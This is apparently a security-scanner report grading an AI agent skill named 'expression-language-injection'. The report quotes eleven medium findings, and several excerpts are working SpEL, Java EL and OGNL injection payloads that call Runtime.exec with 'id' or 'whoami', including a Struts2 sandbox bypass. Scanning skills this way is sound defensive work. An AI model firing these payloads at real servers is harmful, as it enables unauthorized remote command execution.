expression-language-injection

github.com/yaklang/hack-skills
Verdict: Proceed with caution
0 critical0 high11 medium
C
SCORE 55 / 100
$skillox install expression-language-injectionSoon
Sign in to followFollowing emails you when a re-scan drops the grade. Opt-out is per-creator on /account/billing.

Why grade C?

score · 55 / 100

The current grade reflects 11 medium findings (6+ MEDs → C).

0 CRIT0 HIGH11 MED0 LOW
To reach a higher grade
  • B
    Reach Btarget score 75

    Resolve 6 of 11 MED (cap is 5).

  • A
    Reach Atarget score 95

    Resolve 9 of 11 MED (cap is 2).

Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.

Latest scan findings

Scan crawl-fifu5llblpmx8ievm26bas3u · Thu, 28 May 2026 17:26:33 GMT · 2ms

med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 53CWE-78
▾
51
52```java
53${T(java.lang.Runtime).getRuntime().exec("id")}← spawns a subprocess outside declared capabilities
54```
55
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 59CWE-78
▾
57
58```java
59${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}← spawns a subprocess outside declared capabilities
60```
61
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 65CWE-78
▾
63
64```java
65#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}← spawns a subprocess outside declared capabilities
66```
67
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 88CWE-78
▾
86 "args": {
87 "name": "Result",
88 "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"← spawns a subprocess outside declared capabilities
89 }
90 }],
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 129CWE-78
▾
127
128```
129%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}← spawns a subprocess outside declared capabilities
130```
131
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 145CWE-78
▾
143
144```
145%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}← spawns a subprocess outside declared capabilities
146```
147
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 186CWE-78
▾
184```java
185// Java EL with Runtime:
186${Runtime.getRuntime().exec("id")}← spawns a subprocess outside declared capabilities
187
188// Via pageContext (JSP):
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 226CWE-78
▾
224```text
225# SpEL RCE:
226${T(java.lang.Runtime).getRuntime().exec("id")}← spawns a subprocess outside declared capabilities
227
228# OGNL RCE (Struts2):
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 229CWE-78
▾
227
228# OGNL RCE (Struts2):
229%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}← spawns a subprocess outside declared capabilities
230
231# OGNL with sandbox bypass:
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 232CWE-78
▾
230
231# OGNL with sandbox bypass:
232%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}← spawns a subprocess outside declared capabilities
233
234# Java EL RCE:
med
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule: no-manifest
▾
View latest scan →
skillox.io/c/expression-language-injection